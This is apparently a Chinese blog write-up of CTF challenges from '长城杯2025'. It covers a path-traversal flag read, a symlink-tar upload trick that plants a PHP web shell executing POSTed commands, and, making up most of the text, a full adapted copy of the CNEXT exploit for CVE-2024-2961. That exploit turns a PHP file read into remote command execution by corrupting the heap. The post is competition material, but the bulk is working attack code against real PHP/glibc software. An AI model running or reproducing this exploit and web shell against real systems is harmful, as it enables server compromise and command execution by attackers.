长城杯2025

发布于:2025-09-15 ⋅ 阅读:(26) ⋅ 点赞:(0)

水篇长城杯2025

文曲签学

如今的AI学习机早已是学生手中的智能标配——高清触控屏轻划即加载名师课程,AI算法能精准定制专属学习计划,海量学习资源随查随用,便捷得如同“口袋里的智能老师”。可回溯父辈的学生时代,他们的“学习神器”却是另一番模样:那台小小的文曲星,单色屏幕上跳动着单词释义,物理按键按下去会发出清脆的“咔嗒” 声,查单词、算习题,甚至课间偷偷玩会儿《英雄坛说》,全靠这台“随身知识库”撑起学习与消遣的时光。​

现在,春秋GAME伽玛实验室团队复刻了文曲星的经典界面——熟悉的按键排布、带着颗粒感的复古显示风格里,藏着待你挖掘的关键线索。不妨像当年父辈捧着文曲星钻研知识点那样,静下心拆解界面细节,从这些时光留下的印记里,找到破解谜题的密钥。

目录穿越

read ....//....//....//....//flag

EZ_upload

CISCN2023出过这种类型的利用软链接

<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }

    $filename = basename($file['name']);
    $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

    if (empty($filename)) {
        echo '文件名不符合要求。';
        return;
    }

    $destination = $uploadDirectory . $filename;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

handleFileUpload($_FILES['file']);
?>
ln -s /var/www/html www
tar -cvf t1.tar www

rm www                 
mkdir www       
cd www 
                                                                                                                                                                            
┌──(root㉿kali-plus)-[/tmp/www]
└─# vim 1.php
                                                                                       
┌──(root㉿kali-plus)-[/tmp/www]
└─# ls
1.php

cat www/1.php 
<?php
echo exec($_POST['c']);
?>

tar -cvf t2.tar www/1.php
先上传t1.tar 再上传t2.tar

SeRce

CVE-2024-2961

https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

直接使用现成的脚本改吧一下就行

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# ADAPTATION: Remote class modified to fit the new challenge:
#  - POST field name is `filetoread`
#  - GET param `exp` must be present and satisfy
#    serialize(unserialize($exp)) != $exp
# Additional modification: capture command output to /dev/shm/cnext_out (fallback /tmp)
# and fetch it back to print locally.
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, run:
#   python3 cc.py <target_url> "<command>" [sleep_time] [heap] [pad]
#
# Example:
#   python3 cc.py http://127.0.0.1/vuln.php "id" 1
#

from __future__ import annotations

import base64 as _base64
import zlib
import re
import time
from dataclasses import dataclass
from pathlib import Path

from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

# Default remote output path (in-memory filesystem preferred)
DEFAULT_OUT_PATH = "/dev/shm/cnext_out"
FALLBACK_OUT_PATH = "/tmp/cnext_out"


class Remote:
    """A helper class to send the payload and download files.

    Adapted for the new target that expects:
      - GET parameter `exp` to be present and satisfy
        serialize(unserialize($exp)) != $exp
      - POST parameter name is `filetoread`

    Usage:
        Remote(url, exp_value="0")
    By default exp_value="0" because unserialize("0") -> false and serialize(false) -> 'b:0;'
    which differs from "0" and thus triggers the conditional in the provided PHP.
    """

    def __init__(self, url: str, exp_value: str = "0") -> None:
        self.url = url
        self.session = Session()
        self.exp_value = exp_value

    def send(self, path: str):
        """Sends given `path` to the HTTP server. Returns the response object.

        Sends POST with field 'filetoread' and includes ?exp=<exp_value> in the URL.
        """
        return self.session.post(self.url, params={"exp": self.exp_value}, data={"filetoread": path})

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.

        The target echoes 'File Contents: <data>' so we extract that.
        We use php://filter/convert.base64-encode/resource=... to safely transfer binary.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        if response is None:
            raise ConnectionError("No response from target")

        # Match the label printed by the PHP: "File Contents: <base64>"
        m = re.search(b"File Contents: (.*)", response.content, flags=re.S)
        if not m:
            # More forgiving match (case-insensitive)
            m = re.search(b"[Ff]ile [Cc]ontents: (.*)", response.content, flags=re.S)
        if not m:
            # Last-resort: attempt to find the longest base64-like chunk in the response
            # This helps when warnings/HTML are present
            cand = re.findall(b"[A-Za-z0-9+/=\\r\\n]{40,}", response.content)
            if cand:
                # pick the longest candidate
                data = max(cand, key=len)
            else:
                raise ValueError(
                    "Unexpected response format; couldn't find 'File Contents:' or base64 block.\n"
                    f"Response ({len(response.content)} bytes):\n{response.content[:800]!r}"
                )
        else:
            data = m.group(1).strip()

        # base64 decode (allow newlines)
        try:
            return _base64.b64decode(data)
        except Exception as e:
            raise ValueError(f"Base64 decode failed: {e}\nCaptured data (truncated): {data[:400]!r}")


@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        # NOTE: pass exp_value here if you want a different trigger (e.g., exp_value="x")
        self.remote = Remote(self.url, exp_value="0")
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various
        wrappers and filters that the exploit needs.
        """

        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"

        result = safe_download(path)

        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")

        msg_info("The [i]php://filter/[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")

        msg_info("The [i]zlib[/] extension is enabled")

        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str, retries: int = 5, delay: float = 1.0) -> bytes:
        """
        Download a remote file without using pwntools' live display (msg_status),
        retrying a few times because the remote command may take a moment to create it.
        """
        last_exc = None
        for attempt in range(1, retries + 1):
            try:
                data = self.remote.download(path)
                return data
            except Exception as e:
                last_exc = e
                if attempt < retries:
                    time.sleep(delay)
                else:
                    raise

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()

        LIBC_FILE = "/dev/shm/cnext-libc"

        # PHP's heap
        self.info["heap"] = self.heap or self.find_main_heap(regions)

        # Libc
        libc = self._get_region(regions, "libc-", "libc.so")
        self.download_file(libc.path, LIBC_FILE)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")

        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write_bytes(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]

        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        """Build the php://filter path that encodes the exploit pages as required."""
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        # -----------------------------
        # Modified COMMAND construction:
        # build a command that writes stdout+stderr to an output file so we can fetch it later
        # -----------------------------
        COMMAND = self.command.strip()

        # choose preferred remote output path; fallback if needed
        out_path = DEFAULT_OUT_PATH

        # Build a shell wrapper that optionally sleeps, then runs the command and redirects output.
        shell_cmd = "sh -c '"
        if self.sleep:
            shell_cmd += f"sleep {self.sleep}; "
        shell_cmd += f"{COMMAND} > {out_path} 2>&1'"
        COMMAND = shell_cmd.encode() + b"\x00"

        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",

            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",

            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",

            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()

        try:
            # send exploit payload; remote may drop connection when exploit triggers
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass

        # Wait for the remote command to execute and write output.
        wait_seconds = max(1, int(self.sleep or 1) + 2)
        print(f"[+] waiting {wait_seconds}s for remote command to run and produce output...")
        time.sleep(wait_seconds)

        # Try multiple times to read the output file. This helps if the command is slightly delayed.
        out_path = DEFAULT_OUT_PATH
        tried = 0
        max_tries = 6
        while tried < max_tries:
            tried += 1
            try:
                output = self.get_file(out_path, retries=2, delay=1.0)
                if output:
                    print("\n--- Command output (preferred path: {}) ---\n".format(out_path))
                    try:
                        print(output.decode(errors="replace"))
                    except Exception:
                        print(repr(output))
                    print("\n--- End of output ---\n")
                    msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] (output printed above)")
                    return
                else:
                    # empty file — maybe command failed to write or truncated; wait and retry
                    time.sleep(1)
            except Exception:
                # On first failure, try fallback path (/tmp)
                if tried == 1:
                    print("[!] couldn't read preferred output path; trying fallback /tmp path next...")
                    out_path = FALLBACK_OUT_PATH
                    time.sleep(1)
                    continue
                if tried < max_tries:
                    time.sleep(1)
                    continue
                # final failure: print debug info
                msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/] (couldn't read output file)")
                try:
                    # helpful debug: attempt to read /proc/self/maps
                    maps = self.get_file("/proc/self/maps", retries=1)
                    print(f"[debug] /proc/self/maps (truncated):\n{maps.decode(errors='replace')[:400]}")
                except Exception as ee:
                    print(f"[debug] Also could not read /proc/self/maps: {ee!r}")
                return

        # If loop exits without return
        msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/] (no output after retries)")

def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`."""
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = _base64.b64encode(data)
    if not misalign and payload.endswith(b"="):
        raise ValueError(f"Misaligned: {data}")
    return payload


def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode."""
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start


Exploit()

在这里插入图片描述